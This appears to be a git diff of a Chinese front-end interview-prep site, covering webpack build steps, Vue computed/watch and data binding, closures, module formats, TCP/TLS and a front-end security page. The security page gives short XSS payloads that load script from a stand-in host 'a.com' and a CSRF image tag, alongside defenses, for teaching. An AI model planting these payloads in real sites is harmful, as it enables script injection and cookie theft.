  2. 遍历 Compilation.modules 集合,将 module 按 entry/动态引入 的规则分配给不同的 Chunk 对象。
  3. 调用 Compilation.emitAssets 方法将 assets 信息记录到 Compilation.assets 对象中。
  4. 执行 hooks.optimizeChunkModules 的钩子,这里开始进行代码生成和封装。
    1. 执行一系列钩子函数(reviveModules, moduleId, optimizeChunkIds 等)。
    2. 执行 createModuleHashes 更新模块 hash。
    3. 执行 JavascriptGenerator 生成模块代码,这里会遍历 modules,创建构建任务,循环使用 JavascriptGenerator 构建代码,这时会将 import 等模块引入方式替换为 webpack_require 等,并将生成结果存入缓存。
    4. 执行 processRuntimeRequirements,根据生成的内容所使用到的 webpack_require 的函数,添加对应的代码。
    5. 执行 createHash 创建 chunk 的 hash。
    6. 执行 clearAssets 清除 chunk 的 files 和 auxiliary,这里缓存的是生成的 chunk 的文件名,主要是清除上次构建产生的废弃内容。

3.2 文件输出#

回到 Compiler 的流程中,执行 onCompiled 回调。

  1. 触发 shouldEmit 钩子函数,这里是最后能优化产物的钩子。
  2. 遍历 module 集合,根据 entry 配置及引入资源的方式,将 module 分配到不同的 chunk。
  3. 遍历 chunk 集合,调用 Compilation.emitAsset 方法标记 chunk 的输出规则,即转化为 assets 集合。
  4. 写入本地文件,用的是 webpack 函数执行时初始化的文件流工具。
  5. 执行 done 钩子函数,这里会执行 compiler.run() 的回调,再执行 compiler.close(),然后执行持久化存储(前提是使用的 filesystem 缓存模式)。

参考资料#

  1. webpack5 官方文档
  2. acorn
Loading script...
- + \ No newline at end of file diff --git a/book1/frame-vue-computed-watch.html b/book1/frame-vue-computed-watch.html index b46393b..1f81b42 100644 --- a/book1/frame-vue-computed-watch.html +++ b/book1/frame-vue-computed-watch.html @@ -7,13 +7,13 @@ Vue 的 computed 和 watch 的区别 | HZFE - 剑指前端 Offer - +

Vue 的 computed 和 watch 的区别

相关问题#

  • computed 和 watch 的实现原理
  • computed 和 watch 的适用场景

回答关键点#

响应变化 属性 侦听

computed 是模板表达式的声明式描述,会创建新的响应式数据。而 watch 是响应式数据的自定义侦听器,用于响应数据的变化。除此之外,computed 还具有可缓存,可依赖多个属性,getter 函数无副作用等特点。watch 则更适用于异步或开销大的操作

知识点深入#

1. 实现原理#

在了解 Vue 数据双向绑定的基础上,computed 等同于为属性设置 getter 函数(也可设置 setter),而 watch 等同于为属性的 setter 设置回调函数、监听深度 deep 及响应速度 immediate。下面简单讲解下两者的实现原理,具体细节可以参考源码

1.1 computed 原理#

主要分为四个阶段

computed四个阶段

  1. 初始化:为 computed 属性创建 lazy watcher(此处 watcher 指双向绑定中的监听器,下同)。
  2. 首次模板渲染:渲染 watcher 检测到 computed 属性时,会调用 computed 属性的 getter 方法,而 computed 属性的 getter 方法会调用依赖属性的 getter,从而形成链式调用,同时保存引用关系用于更新。取得计算结果后 lazy watcher 会将结果缓存,并返回给渲染 watcher 进行模板渲染。
  3. 多次模板渲染:直接取 lazy watcher 中的缓存值给到渲染 watcher 进行渲染。
  4. 依赖属性更新:根据首次模板渲染阶段构建的依赖关系向上通知 lazy watcher 进行重新计算,缓存计算结果并通知渲染 watcher 重新渲染更新页面。

1.2 watch 原理#

watch 本质上是为每个监听属性 setter 创建了一个 watcher,当被监听的属性更新时,调用传入的回调函数。常见的配置选项有 deep 和 immediate,对应原理如下:

  1. deep:深度监听对象,为对象的每一个属性创建一个 watcher,从而确保对象的每一个属性更新时都会触发传入的回调函数。主要原因在于对象属于引用类型,单个属性的更新并不会触发对象 setter,因此引入 deep 能够很好地解决监听对象的问题。同时也会引入判断机制,确保在多个属性更新时回调函数仅触发一次,避免性能浪费。
  2. immediate:在初始化时直接调用回调函数,可以通过在 created 阶段手动调用回调函数实现相同的效果。

2. 适用场景#

  • computed:需要处理复杂逻辑的模板表达式。
  • watch:需要执行异步或开销较大的操作。

从表现上看,computed 会创建新的属性,而 watch 可以通过将属性设置在 data 中,再监听依赖属性变化,调用 handler 方法更新属性的方式达到同样的效果。因此不难得出 computed 的使用场景可以被 watch 覆盖这一结论。但在具体的使用上还是优先考虑 computed,因为相同场景下 watch 所需的代码量和性能开销一般来说会比 computed 大,具体可以参照 computed vs watched。在 computed 无法满足需求的情况下再考虑使用 watch,也可以有效避免 watch 滥用,提升性能。

3. Vue3 与 Vue2 区别#

Vue3 中 computed 和 watch 的原理以及在 Options API 中的使用方式和 Vue2 保持一致。但在 Vue3 的新特性组合式(Composition)API 中,使用方式和功能相比 Vue2 有了明显差别。使用方式由原来在组件中声明改为直接从 Vue 中导入使用,各自的调用方式和参数也发生了改变,功能更加多样,同时 Vue3 还引入了 watchEffect 作为 watch 的补充,以求用更简洁的代码来覆盖更广的使用场景。具体使用参考官方文档

参考资料#

  1. Vuejs computed
  2. Vuejs 源码
  3. Vue3 组合式 api
Loading script...
- + \ No newline at end of file diff --git a/book1/frame-vue-data-binding.html b/book1/frame-vue-data-binding.html index fd8f89f..0e3991b 100644 --- a/book1/frame-vue-data-binding.html +++ b/book1/frame-vue-data-binding.html @@ -7,7 +7,7 @@ Vue 的数据绑定机制 | HZFE - 剑指前端 Offer - + @@ -23,7 +23,7 @@ /** * 获取最新的值 **/ get () { // 将 Dep 的当前订阅者指向当前 watcher Dep.target = this let value const vm = this.vm // 获取对应属性值 value = this.getter.call(vm, vm) // 清空 Dep 当前订阅者 Dep.target = null return value } /** * 订阅 **/ addDep (dep: Dep) { // 将当前 watcher 添加到 Dep 的订阅者列表中 dep.addSub(this) } /** * 更新视图 **/ update () { const value = this.get() const oldValue = this.value // 调用 callback 更新视图 this.cb.call(this.vm, value, oldValue) }}

2.3 数据更新#

state 属性更新时会触发属性的 setter,setter 中会触发 Dep 的更新,Dep 通知 1.2 中收集到的 watcher 更新,watcher 获取到更新的数据之后触发更新视图。

3. 无法监听到的变化#

由于受到 JavaScript 设计的限制,Vue2 使用的 Object.defineProperty 并不能完全劫持所有数据的变化,以下是几种无法正常劫持的变化:

  • 无法劫持新创建的属性,为了解决这个问题,Vue 提供了 Vue.set 以创建新属性。
  • 无法劫持数组的变化,为了解决这个问题,Vue 对数组原生方法进行了劫持。
  • 无法劫持利用索引修改数组元素,这个问题同样可以用 Vue.set 解决。

4. Vue2 与 Vue3 的差异#

Vue2 与 Vue3 数据绑定机制的主要差异是劫持方式。Vue2 使用的是 Object.defineProperty 而 Vue3 使用的是 ProxyProxy 可以创建一个对象的代理,从而实现对这个对象基本操作的拦截和自定义。

特性definePropertyProxy
劫持新创建属性
劫持数组变化
劫持索引修改数组元素
兼容性IE8及以上不支持IE

由于 Vue 3 中改用 Proxy 实现数据劫持,Vue 2 中的 Vue.set/vm.$set 在 Vue 3 中被移除。

参考资料#

  1. Vuejs 官网
  2. Vuejs 源码
Loading script...
- + \ No newline at end of file diff --git a/book1/js-closures.html b/book1/js-closures.html index 30d2225..6849262 100644 --- a/book1/js-closures.html +++ b/book1/js-closures.html @@ -7,7 +7,7 @@ 闭包的作用和原理 | HZFE - 剑指前端 Offer - + @@ -15,7 +15,7 @@
Skip to main content

闭包的作用和原理

相关问题#

  • 什么是闭包
  • 闭包的应用

回答关键点#

作用域 引用 函数

作用:能够在函数定义的作用域外,使用函数定义作用域内的局部变量,并且不会污染全局。

原理:基于词法作用域链和垃圾回收机制,通过维持函数作用域的引用,让函数作用域可以在当前作用域外被访问到。

知识点深入#

1. 作用域#

  • 作用域:用于确定在何处以及如何查找变量(标识符)的一套规则。
  • 词法作用域:词法作用域是定义在词法阶段的作用域。词法作用域是由写代码时将代码和块作用域写在哪里来决定的,因此当词法作用域处理代码是会保持作用域不变(大部分情况)。
  • 块作用域:指的是变量和函数不仅可以属于所处的作用域,也可以属于某个代码块(通常用{}包裹)。常见的块级作用域有 with,try/catch,let,const 等。
  • 函数作用域:属于这个函数的全部变量都可以在整个函数范围内使用及复用(包括嵌套作用域)。
  • 作用域链:查找变量时,先从当前作用域开始查找,如果没有找到,就会到父级(词法层面上的父级)作用域中查找,一直找到全局作用域。作用域链正是包含这些作用域的列表。

2. 什么是闭包#

当函数可以记住并访问所在的词法作用域时,就产生了闭包,即使是函数在当前词法作用域外执行。 ——《你不知道的 JavaScript》

function foo() {  var a = "hzfe";  function bar() {    console.log(a);  }  return bar;}
 var baz = foo();baz(); // hzfe

在这个例子中,函数 bar 作为返回值返回后,在自己定义的词法作用域以外的地方执行。一般来说,在函数 foo 执行后,通常会期待函数 foo 的整个内部作用域被引擎回收机制销毁。而闭包可以阻止这件事情的发生。事实上内部作用域依然存在,因为函数 bar 本身在使用,所以并不会被回收。

在 JavaScript 中,每当创建一个函数,闭包就会在函数创建的同时被创建出来

3. 闭包的应用#

无论何时何地,如果将函数作为返回值,就会看到闭包在这些函数中的应用。在定时器,事件监听器,ajax 请求,跨窗口通信,web workers 或者任何其他的异步/同步任务中,只要使用了回调函数,实际上就是使用闭包。使用闭包的例子可以参考实现节流防抖函数

TIPS: 闭包与执行函数关系

var a = "hzfe";(function IIFE() {  console.log(a);})();

通常认为立即执行函数(IIFE)是典型的观察闭包的典型例子,但严格来说并不是。虽然创建了闭包,但没有体现出闭包的作用。因为函数并不是在它本身的词法作用域以外执行的。 它在定义时所在的作用域中执行,而非外部作用域。

参考资料#

  1. 闭包 MDN
  2. 垃圾回收机制
  3. 你不知道的 JavaScript(上卷)
  4. 维基百科-闭包
Loading script...
- + \ No newline at end of file diff --git a/book1/js-module-specs.html b/book1/js-module-specs.html index 9f9a7b6..6b66df9 100644 --- a/book1/js-module-specs.html +++ b/book1/js-module-specs.html @@ -7,7 +7,7 @@ 前端模块化规范 | HZFE - 剑指前端 Offer - + @@ -28,7 +28,7 @@ return { getHZFEMember, }; }.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__); __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__);});

ESM

(function (module, __webpack_exports__, __webpack_require__) {  __webpack_require__.r(__webpack_exports__);  __webpack_require__.d(__webpack_exports__, "getHZFEMember", function () {    return getHZFEMember;  });
   const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };});

3. 模块化与工程化:Tree Shaking#

Tree Shaking 是一个通常用于描述移除 JavaScript 上下文中的未引用代码(dead-code)行为的术语。它依赖于 ES2015 中的 import 和 export 语句,用来检测代码模块是否被导出、导入,且被 JavaScript 文件使用。 Tree Shaking - MDN

简单来说,Tree Shaking 是一种依赖 ESM 模块静态分析实现的功能,它可以在编译时安全的移除代码中未使用的部分(webpack 5 对 CommonJS 也进行了支持,在此不详细展开)。

参考资料#

  1. Modules: CommonJS modules
  2. Asynchronous module definition
  3. Common Module Definition
  4. Universal Module Definition
  5. Modules: ECMAScript modules
  6. Module Semantics
Loading script...
- + \ No newline at end of file diff --git a/book1/network-security.html b/book1/network-security.html index 4aae12e..f314f5b 100644 --- a/book1/network-security.html +++ b/book1/network-security.html @@ -7,13 +7,13 @@ 前端安全 | HZFE - 剑指前端 Offer - +
-

前端安全

相关问题#

  • 如何防范 XSS / CSRF 攻击
  • 说说 HTTPS 中间人攻击,及其如何防范

回答关键点#

XSS CSRF 中间人攻击

  • XSS(跨站脚本攻击) 是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。常见类型有:
    • 反射型(非持久性)
    • 存储型(持久性)
    • DOM 型
  • CSRF(跨站请求伪造) 是指攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作。
  • 中间人攻击(MITM) 是指攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改。

知识点深入#

1. XSS(跨站脚本攻击)#

1.1 反射型(非持久性)#

原理:攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。

要点

  • 通过 URL 插入恶意代码。
  • 有服务端参与。
  • 需要用户访问特定链接。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模板中,并返回数据。

被害者在不知情的情况下,执行了攻击者注入的脚本(可以通过这个获取对方的 Cookie 等)。

1.2 存储型(持久性)#

原理:攻击者将注入型脚本提交至被攻击网站数据库中,当其他用户浏览器请求数据时,注入脚本从服务器返回并执行。

要点

  • 恶意代码存储在目标网站服务器上。
  • 有服务端参与。
  • 只要用户访问被注入恶意脚本的页面时,就会被攻击。

例子

攻击者在目标网站留言板中提交了<script src="http://a.com/attack.js"/>

目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中。

其他用户在访问该留言板时,会自动执行攻击者注入脚本。

1.3 DOM 型#

原理:攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。

要点

  • 在客户端发生。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。

被害者在不知情的情况下,执行了攻击者注入的脚本。

1.4 防范 XSS#

  • 对于外部传入的内容进行充分转义。
  • 开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。
  • 设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取。

2. CSRF(跨站请求伪造)#

原理:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。

要点

  • 利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理,冒用受害者身份请求。
  • 攻击一般发生在第三方网站上。
  • 攻击者只能“冒用”受害者的身份凭证,并不能获取。
  • 跨站请求有多种方式,常见的有图片 URL,超链接,Form 提交等。

例子

攻击者在第三方网站上放置一个如下的 img

<img src="http://hzfe.org/article/delete" />

受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息),浏览器会自动发起这个请求,hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。

若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。

防范

  • 使用 CSRF Token 验证用户身份
    • 原理:服务端生成 CSRF Token (通常存储在 Session 中),用户提交请求时携带上 Token,服务端验证 Token 是否有效。
    • 优点:能比较有效的防御 CSRF (前提是没有 XSS 漏洞泄露 Token)。
    • 缺点:大型网站中 Session 存储会增加服务器压力,且若使用分布式集群还需要一个公共存储空间存储 Token,否则可能用户请求到不同服务器上导致用户凭证失效;有一定的工作量。
  • 双重 Cookie 验证
    • 原理:利用攻击者不能获取到 Cookie 的特点,在 URL 参数或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 一致。
    • 优点:无需使用 Session,不会给服务器压力。
  • 设置白名单,仅允许安全域名请求
  • 增加验证码验证

3. 中间人攻击(MITM)#

原理:中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。

man in the middle mitm attack

图片来源 Man in the middle (MITM) attack

成功的中间人攻击主要有两个不同的阶段:拦截解密

3.1 拦截#

即攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。

常见的被动攻击(也是最简单)的方法,攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接了该热点,攻击者就能完全了解其所有的在线数据交换。

常见的主动攻击有两种:

  1. ARP 欺骗: 攻击者利用 ARP 的漏洞,通过冒充网关或其他主机,使得到达网关或其他主机的流量通过攻击者主机进行转发。
  2. DNS 欺骗: 攻击者冒充域名服务器,将受害者查询的 IP 地址转发到攻击者的 IP 地址。

3.2 解密#

拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。

SSL 劫持(伪造证书)

攻击者在 TLS 握手期间拦截到服务器返回的公钥后,将服务器的公钥替换成自己的公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。

因为是伪造的证书,所以客户端在校验证书过程中会提示证书错误,若用户仍选择继续操作,此时中间人便能获取与服务端的通信数据。

SSL 剥离

攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。

服务器可以通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。

3.3 中间人攻击防范#

对于开发者来说:

  • 支持 HTTPS。
  • 开启 HSTS 策略。

对于用户来说:

  • 尽可能使用 HTTPS 链接。
  • 避免连接不知名的 WiFi 热点。
  • 不忽略不安全的浏览器通知。
  • 公共网络不进行涉及敏感信息的交互。
  • 用可信的第三方 CA 厂商,不下载来源不明的证书。

参考资料#

  1. Cross-site scripting
  2. Man in the middle (MITM) attack
Loading script...
- +
Skip to main content

前端安全

相关问题#

  • 如何防范 XSS / CSRF 攻击
  • 说说 HTTPS 中间人攻击,及其如何防范

回答关键点#

XSS CSRF 中间人攻击

  • XSS(跨站脚本攻击) 是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。常见类型有:
    • 反射型(非持久性)
    • 存储型(持久性)
    • DOM 型
  • CSRF(跨站请求伪造) 是指攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作。
  • 中间人攻击(MITM) 是指攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改。

知识点深入#

1. XSS(跨站脚本攻击)#

1.1 反射型(非持久性)#

原理:攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。

要点

  • 通过 URL 插入恶意代码。
  • 有服务端参与。
  • 需要用户访问特定链接。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模板中,并返回数据。

被害者在不知情的情况下,执行了攻击者注入的脚本(可以通过这个获取对方的 Cookie 等)。

1.2 存储型(持久性)#

原理:攻击者将注入型脚本提交至被攻击网站数据库中,当其他用户浏览器请求数据时,注入脚本从服务器返回并执行。

要点

  • 恶意代码存储在目标网站服务器上。
  • 有服务端参与。
  • 只要用户访问被注入恶意脚本的页面时,就会被攻击。

例子

攻击者在目标网站留言板中提交了<script src="http://a.com/attack.js"/>

目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中。

其他用户在访问该留言板时,会自动执行攻击者注入脚本。

1.3 DOM 型#

原理:攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。

要点

  • 在客户端发生。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。

被害者在不知情的情况下,执行了攻击者注入的脚本。

1.4 防范 XSS#

  • 对于外部传入的内容进行充分转义。
  • 开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。
  • 设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取。

2. CSRF(跨站请求伪造)#

原理:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。

要点

  • 利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理,冒用受害者身份请求。
  • 攻击一般发生在第三方网站上。
  • 攻击者只能“冒用”受害者的身份凭证,并不能获取。
  • 跨站请求有多种方式,常见的有图片 URL、超链接、Form 提交等。

例子

攻击者在第三方网站上放置一个如下的 img

<img src="http://hzfe.org/article/delete" />

受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息),浏览器会自动发起这个请求,hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。

若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。

防范

  • 使用 CSRF Token 验证用户身份
    • 原理:服务端生成 CSRF Token (通常存储在 Session 中),用户提交请求时携带上 Token,服务端验证 Token 是否有效。
    • 优点:能比较有效的防御 CSRF (前提是没有 XSS 漏洞泄露 Token)。
    • 缺点:大型网站中 Session 存储会增加服务器压力,且若使用分布式集群还需要一个公共存储空间存储 Token,否则可能用户请求到不同服务器上导致用户凭证失效;有一定的工作量。
  • 双重 Cookie 验证
    • 原理:利用攻击者不能获取到 Cookie 的特点,在 URL 参数或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 一致。
    • 优点:无需使用 Session,不会给服务器压力。
  • 设置白名单,仅允许安全域名请求
  • 增加验证码验证

3. 中间人攻击(MITM)#

原理:中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。

man in the middle mitm attack

图片来源 Man in the middle (MITM) attack

成功的中间人攻击主要有两个不同的阶段:拦截解密

3.1 拦截#

即攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。

常见的被动攻击(也是最简单)的方法,攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接了该热点,攻击者就能完全了解其所有的在线数据交换。

常见的主动攻击有两种:

  1. ARP 欺骗: 攻击者利用 ARP 的漏洞,通过冒充网关或其他主机,使得到达网关或其他主机的流量通过攻击者主机进行转发。
  2. DNS 欺骗: 攻击者冒充域名服务器,将受害者查询的 IP 地址转发到攻击者的 IP 地址。

3.2 解密#

拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。

SSL 劫持(伪造证书)

攻击者在 TLS 握手期间拦截到服务器返回的公钥后,将服务器的公钥替换成自己的公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。

因为是伪造的证书,所以客户端在校验证书过程中会提示证书错误,若用户仍选择继续操作,此时中间人便能获取与服务端的通信数据。

SSL 剥离

攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。

服务器可以通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。

3.3 中间人攻击防范#

对于开发者来说:

  • 支持 HTTPS。
  • 开启 HSTS 策略。

对于用户来说:

  • 尽可能使用 HTTPS 链接。
  • 避免连接不知名的 WiFi 热点。
  • 不忽略不安全的浏览器通知。
  • 公共网络不进行涉及敏感信息的交互。
  • 用可信的第三方 CA 厂商,不下载来源不明的证书。

参考资料#

  1. Cross-site scripting
  2. Man in the middle (MITM) attack
Loading script...
+ \ No newline at end of file diff --git a/book1/topic-enter-url-display-xx.html b/book1/topic-enter-url-display-xx.html index 138aa7a..f953603 100644 --- a/book1/topic-enter-url-display-xx.html +++ b/book1/topic-enter-url-display-xx.html @@ -7,7 +7,7 @@ 浏览器从输入网址到页面展示的过程 | HZFE - 剑指前端 Offer - + @@ -18,7 +18,7 @@ 假设有客户端A,服务端B。我们要建立可靠的数据传输。 SYN(=j) // SYN: A 请求建立连接 A ----------> B | ACK(=j+1) | // ACK: B 确认应答 A 的 SYN SYN(=k) | // SYN: B 发送一个 SYN A <----------- | | ACK(=k+1) -----------> B // ACK: A 确认应答 B 的包
  1. 客户端发送 SYN 包(seq = j)到服务器,并进入 SYN_SEND 状态,等待服务器确认。
  2. 服务器收到 SYN 包,必须确认客户的 SYN(ACK = k + 1),同时自己也发送一个 SYN 包(seq = k),即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态。
  3. 客户端收到服务器的 SYN+ACK 包,向服务器发送确认包 ACK(ACK = k + 1),此包发送完毕,客户端和服务器进入 ESTABLISHED 状态,完成三次握手。

4. TLS 协商#

TLS协商

建立连接后就可以通过 HTTP 进行数据传输。如果使用 HTTPS,会在 TCP 与 HTTP 之间多添加一层协议做加密及认证的服务。HTTPS 使用 SSL(Secure Socket Layer) 和 TLS(Transport Layer Security) 协议,保障了信息的安全。

  • SSL

    • 认证用户和服务器,确保数据发送到正确的客户端和服务器。
    • 加密数据防止数据中途被窃取。
    • 维护数据的完整性,确保数据在传输过程中不被改变。
  • TLS

    • 用于在两个通信应用程序之间提供保密性和数据完整性。该协议由两层组成:TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。较低的层为 TLS 记录协议,位于某个可靠的传输协议(例如 TCP)上面。

4.1 TLS 握手协议#

TLS握手协议

  1. 客户端发出一个 client hello 消息,携带的信息包括:所支持的 SSL/TLS 版本列表;支持的与加密算法;所支持的数据压缩方法;随机数 A。
  2. 服务端响应一个 server hello 消息,携带的信息包括:协商采用的 SSL/TLS 版本号;会话 ID;随机数 B;服务端数字证书 serverCA;由于双向认证需求,服务端需要对客户端进行认证,会同时发送一个 client certificate request,表示请求客户端的证书。
  3. 客户端校验服务端的数字证书;校验通过之后发送随机数 C,该随机数称为 pre-master-key,使用数字证书中的公钥加密后发出;由于服务端发起了 client certificate request,客户端使用私钥加密一个随机数 clientRandom 随客户端的证书 clientCA 一并发出。
  4. 服务端校验客户端的证书,并成功将客户端加密的随机数 clientRandom 解密;根据随机数 A/随机数 B/随机数 C(pre-master-key) 产生动态密钥 master-key,加密一个 finish 消息发至客户端。
  5. 客户端根据同样的随机数和算法生成 master-key,加密一个 finish 消息发送至服务端。
  6. 服务端和客户端分别解密成功,至此握手完成,之后的数据包均采用 master-key 进行加密传输。

5. 服务器响应#

当浏览器到 web 服务器的连接建立后,浏览器会发送一个初始的 HTTP GET 请求,请求目标通常是一个 HTML 文件。服务器收到请求后,将发回一个 HTTP 响应报文,内容包括相关响应头和 HTML 正文。

<html> <head>  <meta charset="UTF-8"/>  <title>我的博客</title>  <link rel="stylesheet" src="styles.css"/>  <scrIPt src="index.js"></scrIPt></head><body>  <h1 class="heading">首页</h1>  <p>A paragraph with a <a href="https://hzfe.org/">link</a></p>  <scrIPt src="index.js"></scrIPt></body></html>

5.1 状态码#

状态码是由 3 位数组成,第一个数字定义了响应的类别,且有五类可能取值

  • 1xx:指示信息——表示请求已接收,继续处理
  • 2xx:成功——表示请求已被成功接收、理解、接受
  • 3xx:重定向——要完成请求必须进行更进一步的操作
  • 4xx:客户端错误——请求有语法错误或请求无法实现
  • 5xx:服务器端错误——服务器未能实现合法的请求

5.2 常见的请求头和字段#

  • Cache-Control:must-revalidate、no-cache、private(是否需要缓存资源)
  • Connection:keep-alive(保持连接)
  • Content-Encoding:gzip(web 服务器支持的返回内容压缩编码类型)
  • Content-Type:text/html;charset=UTF-8(文件类型和字符编码格式)
  • Date:Sun, 21 Sep 2021 06:18:21 GMT(服务器消息发出的时间)
  • Transfer-Encoding:chunked(服务器发送的资源的方式是分块发送)

5.3 HTTP 响应报文#

响应报文由四部分组成(响应行 + 响应头 + 空行 + 响应体)

  • 状态行:HTTP 版本 + 空格 + 状态码 + 空格 + 状态码描述 + 回车符(CR) + 换行符(LF)
  • 响应头:字段名 + 冒号 + 值 + 回车符 + 换行符
  • 空行:回车符 + 换行符
  • 响应体:由用户自定义添加,如 post 的 body 等

6. 浏览器解析并绘制#

不同的浏览器引擎渲染过程都不太一样,这里以 Chrome 浏览器渲染方式为例。

webkit render

  1. 处理 HTML 标记并构建 DOM 树。
  2. 处理 CSS 标记并构建 CSSOM 树。
  3. 将 DOM 与 CSSOM 合并成一个渲染树。
  4. 根据渲染树来布局,以计算每个节点的几何信息。
  5. 将各个节点绘制到屏幕上。

7. TCP 断开连接#

现在的页面为了优化请求的耗时,默认都会开启持久连接(keep-alive),那么一个 TCP 连接确切关闭的时机,是这个 tab 标签页关闭的时候。这个关闭的过程就是四次挥手。关闭是一个全双工的过程,发包的顺序是不一定的。一般来说是客户端主动发起的关闭,过程如下图所示: TCP 四次挥手

  1. 主动关闭方发送一个 FIN,用来关闭主动方到被动关闭方的数据传送,也就是主动关闭方告诉被动关闭方:我已经不会再给你发数据了(在 FIN 包之前发送出去的数据,如果没有收到对应的 ACK 确认报文,主动关闭方依然会重发这些数据),但此时主动关闭方还可以接受数据。
  2. 被动关闭方收到 FIN 包后,发送一个 ACK 给对方,确认序号为收到序号+1(与 SYN 相同,一个 FIN 占用一个序号)。
  3. 被动关闭方发送一个 FIN,用来关闭被动关闭方到主动关闭方的数据传送,也就是告诉主动关闭方,我的数据也发送完了,不会再给你发数据了。
  4. 主动关闭方收到 FIN 后,发送一个 ACK 给被动关闭方,确认序号为收到序号+1,至此,完成四次挥手。

参考资料#

  1. How_browsers_work
  2. DOMTokenList
  3. 图解 SSL/TLS 协议
  4. DNS 域名系统
Loading script...
- + \ No newline at end of file diff --git a/book2/algorithm-reverse-linked-list.html b/book2/algorithm-reverse-linked-list.html index a2d15c4..c3503c4 100644 --- a/book2/algorithm-reverse-linked-list.html +++ b/book2/algorithm-reverse-linked-list.html @@ -7,7 +7,7 @@ 反转链表 | HZFE - 剑指前端 Offer - + @@ -15,7 +15,7 @@
Skip to main content

反转链表

题目描述#

定义一个函数,输入一个链表的头节点,反转该链表并输出反转后链表的头节点。

反转链表

示例:


 输入: 1->2->3->4->5->NULL输出: 5->4->3->2->1->NULL
 

解法一:迭代(双指针)#

在线链接

本方法是对链表进行遍历,然后在访问各节点时修改 next 的指向,达到反转链表的目的。

  1. 初始化 cur 和 pre 两个节点,分别指向 head 和 null。
  2. 对链表进行循环,声明 temp 节点用来保存当前节点的下一个节点。
  3. 修改当前节点 cur 的 next 指针指向为 pre 节点。
  4. pre 节点修改为 cur 节点。
  5. cur 节点修改为 temp 节点。
  6. 继续进行处理,直到 cur 节点为 null,返回 pre 节点。
